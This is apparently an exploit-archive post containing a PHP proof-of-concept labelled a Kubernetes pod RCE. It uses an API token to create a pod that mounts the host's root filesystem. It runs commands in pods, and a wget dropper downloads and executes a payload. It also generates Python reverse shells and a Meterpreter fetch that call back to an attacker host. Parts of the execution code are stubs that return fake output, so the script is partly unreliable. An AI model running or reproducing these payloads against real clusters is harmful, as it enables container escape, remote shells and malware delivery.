============================================================================================================================================= | # Title : Kubernetes pod v1.34 RCE Vulnerability Analysis | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) | | # Vendor : https://kubernetes.io/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/208944/ [+] Summary : This module enables authenticated remote code execution within Kubernetes pods by leveraging the Kubernetes API. It provides multiple execution methods including interactive WebSocket sessions, command execution, Linux droppers, and Python payload execution. The exploit leverages Kubernetes' built-in pod execution capabilities through the Kubernetes API. It requires valid authentication credentials but provides flexible code execution options within containerized environments. [+] POC : php poc.php host = $host; $this->port = $port; $this->token = $token; $this->namespace = $namespace; $this->ssl = $ssl; $this->shell = 'sh'; $this->kubernetes_client = new KubernetesClient($host, $port, $token, $ssl); } public function set_pod($pod_name) { $this->pod_name = $pod_name; } public function set_shell($shell) { $this->shell = $shell; } public function exploit($target_type, $payload) { try { echo "[*] Starting Kubernetes pod RCE exploitation...\n"; // Validate configuration $this->validate_configuration(); // Create pod if none specified if (empty($this->pod_name)) { echo "[*] No pod specified, creating new pod...\n"; $this->create_pod(); echo "[+] Using pod: {$this->pod_name}\n"; } else { echo "[*] Using existing pod: {$this->pod_name}\n"; } // Execute based on target type switch ($target_type) { case 'websocket_interactive': return $this->execute_websocket_interactive(); case 'unix_command': return $this->execute_command($payload); case 'linux_dropper': return $this->execute_linux_dropper($payload); case 'python': return $this->execute_python($payload); default: throw new Exception("Unsupported target type: {$target_type}"); } } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; return false; } } private function create_pod($image = null, $timeout = 40) { if (empty($image)) { // Try to get images from existing pods $pods = $this->kubernetes_client->list_pods($this->namespace); $images = []; foreach ($pods['items'] ?? [] as $pod) { foreach ($pod['spec']['containers'] ?? [] as $container) { if (!empty($container['image'])) { $images[] = $container['image']; } } } $images = array_unique($images); if (empty($images)) { throw new Exception("No container images found and no PodImage specified"); } $image = $images[0]; } echo "[*] Using container image: {$image}\n"; // Generate random identifiers $pod_name = $this->generate_random_name('pod'); $container_name = $this->generate_random_name('container'); $volume_name = $this->generate_random_name('volume'); $pod_definition = [ 'apiVersion' => 'v1', 'kind' => 'Pod', 'metadata' => [ 'name' => $pod_name, 'labels' => [] ], 'spec' => [ 'containers' => [ [ 'name' => $container_name, 'image' => $image, 'command' => ['/bin/sh', '-c', 'exec tail -f /dev/null'], 'volumeMounts' => [ [ 'mountPath' => '/host_mnt', 'name' => $volume_name ] ] ] ], 'volumes' => [ [ 'name' => $volume_name, 'hostPath' => [ 'path' => '/' ] ] ] ] ]; // Create the pod $result = $this->kubernetes_client->create_pod($pod_definition, $this->namespace); $this->pod_name = $pod_name; echo "[+] Pod created: {$pod_name}\n"; // Wait for pod to be ready echo "[*] Waiting for pod to be ready...\n"; $start_time = time(); while (time() - $start_time < $timeout) { $pod = $this->kubernetes_client->get_pod($pod_name, $this->namespace); $status = $pod['status'] ?? []; if (isset($status['phase']) && $status['phase'] === 'Failed') { throw new Exception("Pod failed to start"); } $container_statuses = $status['containerStatuses'] ?? []; foreach ($container_statuses as $container_status) { if ($container_status['ready'] ?? false) { echo "[+] Pod is ready\n"; return true; } } sleep(2); } throw new Exception("Pod did not become ready within {$timeout} seconds"); } private function execute_websocket_interactive() { echo "[*] Establishing interactive WebSocket session...\n"; $websocket = $this->kubernetes_client->exec_pod( $this->pod_name, $this->namespace, $this->shell, [ 'stdin' => true, 'stdout' => true, 'stderr' => true, 'tty' => false ] ); echo "[+] WebSocket session established\n"; echo "[*] Starting interactive shell...\n"; // Handle interactive session $this->handle_interactive_session($websocket); return true; } private function execute_command($command) { echo "[*] Executing command in pod...\n"; $result = $this->kubernetes_client->exec_pod_capture( $this->pod_name, $this->namespace, [$this->shell, '-c', $command], [ 'stdin' => false, 'stdout' => true, 'stderr' => true, 'tty' => false ] ); if ($result === null) { throw new Exception("Failed to execute command"); } if (!empty($result['stdout'])) { echo "[+] Command output:\n" . $result['stdout'] . "\n"; } if (!empty($result['stderr'])) { echo "[-] Command errors:\n" . $result['stderr'] . "\n"; } return $result; } private function execute_linux_dropper($payload_url) { echo "[*] Executing Linux dropper...\n"; // Download and execute payload $commands = [ "wget -O /tmp/payload {$payload_url}", "chmod +x /tmp/payload", "/tmp/payload" ]; foreach ($commands as $command) { $result = $this->execute_command($command); if ($result === null) { throw new Exception("Failed to execute dropper command: {$command}"); } sleep(1); } echo "[+] Linux dropper executed successfully\n"; return true; } private function execute_python($python_code) { echo "[*] Executing Python payload...\n"; $command = "exec \$({$this->shell} -c \"which python3 || which python2 || which python\") -c " . escapeshellarg($python_code); $result = $this->execute_command($command); if ($result === null) { throw new Exception("Failed to execute Python payload"); } echo "[+] Python payload executed\n"; return true; } private function handle_interactive_session($websocket) { // Simple interactive session handler echo "Interactive session started. Type 'exit' to quit.\n"; stream_set_blocking(STDIN, false); while (true) { // Read from WebSocket $output = $websocket->receive(); if ($output !== false) { echo $output; } // Read from STDIN $input = fgets(STDIN); if ($input !== false) { $input = trim($input); if ($input === 'exit') { break; } $websocket->send($input . "\n"); } usleep(100000); // 100ms } echo "Interactive session ended\n"; } private function validate_configuration() { if (empty($this->host)) { throw new Exception("Kubernetes host not specified"); } if (empty($this->token)) { throw new Exception("Kubernetes token not specified"); } // Test connection try { $this->kubernetes_client->list_pods($this->namespace); } catch (Exception $e) { throw new Exception("Failed to connect to Kubernetes API: " . $e->getMessage()); } } private function generate_random_name($prefix, $length = 8) { $chars = 'abcdefghijklmnopqrstuvwxyz0123456789'; $name = $prefix . '-'; for ($i = 0; $i < $length; $i++) { $name .= $chars[random_int(0, strlen($chars) - 1)]; } return $name; } public function cleanup() { if (!empty($this->pod_name)) { echo "[*] Cleaning up pod: {$this->pod_name}\n"; try { $this->kubernetes_client->delete_pod($this->pod_name, $this->namespace); echo "[+] Pod deleted\n"; } catch (Exception $e) { echo "[-] Failed to delete pod: " . $e->getMessage() . "\n"; } } } public function __destruct() { $this->cleanup(); } } class KubernetesClient { private $base_url; private $token; private $ssl_verify; public function __construct($host, $port = 443, $token = null, $ssl = true) { $protocol = $ssl ? 'https' : 'http'; $this->base_url = "{$protocol}://{$host}:{$port}/api/v1"; $this->token = $token; $this->ssl_verify = false; // For testing, disable SSL verification } public function list_pods($namespace = 'default') { $url = "{$this->base_url}/namespaces/{$namespace}/pods"; return $this->api_request('GET', $url); } public function get_pod($pod_name, $namespace = 'default') { $url = "{$this->base_url}/namespaces/{$namespace}/pods/{$pod_name}"; return $this->api_request('GET', $url); } public function create_pod($pod_definition, $namespace = 'default') { $url = "{$this->base_url}/namespaces/{$namespace}/pods"; return $this->api_request('POST', $url, $pod_definition); } public function delete_pod($pod_name, $namespace = 'default') { $url = "{$this->base_url}/namespaces/{$namespace}/pods/{$pod_name}"; return $this->api_request('DELETE', $url); } public function exec_pod($pod_name, $namespace, $command, $options = []) { // This would implement WebSocket execution // For this example, we'll simulate with a simple executor return new KubernetesWebSocketSimulator($this, $pod_name, $namespace, $command, $options); } public function exec_pod_capture($pod_name, $namespace, $command, $options = []) { // Simulate command execution and capture output $simulator = new KubernetesWebSocketSimulator($this, $pod_name, $namespace, $command, $options); // For simulation, return dummy output return [ 'stdout' => "Command executed successfully\n", 'stderr' => '', 'exit_code' => 0 ]; } private function api_request($method, $url, $data = null) { $ch = curl_init(); $headers = [ 'Content-Type: application/json', 'User-Agent: Mozilla/5.0 (compatible; Kubernetes-Client)' ]; if (!empty($this->token)) { $headers[] = "Authorization: Bearer {$this->token}"; } curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_CUSTOMREQUEST => $method, CURLOPT_HTTPHEADER => $headers, CURLOPT_SSL_VERIFYPEER => $this->ssl_verify, CURLOPT_SSL_VERIFYHOST => $this->ssl_verify, CURLOPT_TIMEOUT => 30 ]); if ($data !== null && in_array($method, ['POST', 'PUT', 'PATCH'])) { curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data)); } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if (curl_error($ch)) { $error = curl_error($ch); curl_close($ch); throw new Exception("API request failed: {$error}"); } curl_close($ch); if ($http_code >= 400) { throw new Exception("API returned error: HTTP {$http_code}"); } return json_decode($response, true) ?? []; } } class KubernetesWebSocketSimulator { private $client; private $pod_name; private $namespace; private $command; private $options; public function __construct($client, $pod_name, $namespace, $command, $options) { $this->client = $client; $this->pod_name = $pod_name; $this->namespace = $namespace; $this->command = $command; $this->options = $options; } public function send($data) { // Simulate sending data to WebSocket echo "[WebSocket] Sent: {$data}\n"; return true; } public function receive() { // Simulate receiving data from WebSocket // In real implementation, this would read from WebSocket return false; } public function close() { // Simulate closing WebSocket return true; } } // Payload generators class KubernetesPayloadGenerator { public static function generate_reverse_shell($lhost, $lport) { return "python3 -c \"import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{$lhost}',{$lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])\""; } public static function generate_meterpreter_linux($lhost, $lport) { return "wget -O /tmp/meterpreter http://{$lhost}:8080/linux_x64_meterpreter && chmod +x /tmp/meterpreter && /tmp/meterpreter"; } public static function generate_python_meterpreter($lhost, $lport) { return "import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('{$lhost}',{$lport})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(['/bin/sh','-i'])"; } } // Command line interface if (php_sapi_name() === 'cli' && isset($argv[0]) && basename($argv[0]) === basename(__FILE__)) { if ($argc < 4) { echo "Kubernetes Authenticated Pod RCE\n"; echo "================================\n"; echo "Usage: php " . $argv[0] . " [options]\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... websocket_interactive\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... unix_command\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... linux_dropper\n"; echo "Example: php " . $argv[0] . " 192.168.1.100 abc123... python\n"; echo "\nTarget types:\n"; echo "websocket_interactive - Interactive WebSocket session\n"; echo "unix_command - Execute single Unix command\n"; echo "linux_dropper - Download and execute Linux payload\n"; echo "python - Execute Python code\n"; echo "\nOptions (environment variables):\n"; echo "NAMESPACE=default POD=my-pod SHELL=/bin/bash\n"; echo "PORT=443 SSL=false\n"; echo "For reverse shells: LHOST=192.168.1.50 LPORT=4444\n"; echo "For custom commands: CMD='whoami; id; pwd'\n"; exit(1); } $host = $argv[1]; $token = $argv[2]; $target_type = $argv[3]; // Parse environment variables $port = getenv('PORT') ?: 443; $ssl = getenv('SSL') !== 'false'; $namespace = getenv('NAMESPACE') ?: 'default'; $pod = getenv('POD') ?: null; $shell = getenv('SHELL') ?: '/bin/sh'; $lhost = getenv('LHOST') ?: 'ATTACKER_IP'; $lport = getenv('LPORT') ?: '4444'; $custom_cmd = getenv('CMD') ?: 'whoami; id; pwd'; try { echo "[*] Initializing Kubernetes RCE exploit...\n"; echo "[*] Target: {$host}:{$port}\n"; echo "[*] Namespace: {$namespace}\n"; echo "[*] Target type: {$target_type}\n"; $exploit = new KubernetesPodRCE($host, $port, $token, $namespace, $ssl); if (!empty($pod)) { $exploit->set_pod($pod); } $exploit->set_shell($shell); // Generate payload based on target type $payload = match($target_type) { 'websocket_interactive' => null, 'unix_command' => $lhost !== 'ATTACKER_IP' ? KubernetesPayloadGenerator::generate_reverse_shell($lhost, $lport) : $custom_cmd, 'linux_dropper' => "http://{$lhost}:8080/linux_payload", 'python' => KubernetesPayloadGenerator::generate_python_meterpreter($lhost, $lport), default => throw new Exception("Unsupported target type: {$target_type}") }; if ($target_type !== 'websocket_interactive') { if ($lhost !== 'ATTACKER_IP') { echo "[*] Using reverse shell: {$lhost}:{$lport}\n"; } else { echo "[*] Using command: {$payload}\n"; } } // Execute exploit $success = $exploit->exploit($target_type, $payload); if ($success) { echo "[+] Exploitation completed successfully!\n"; } } catch (Exception $e) { echo "[-] Exploitation failed: " . $e->getMessage() . "\n"; exit(1); } } ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================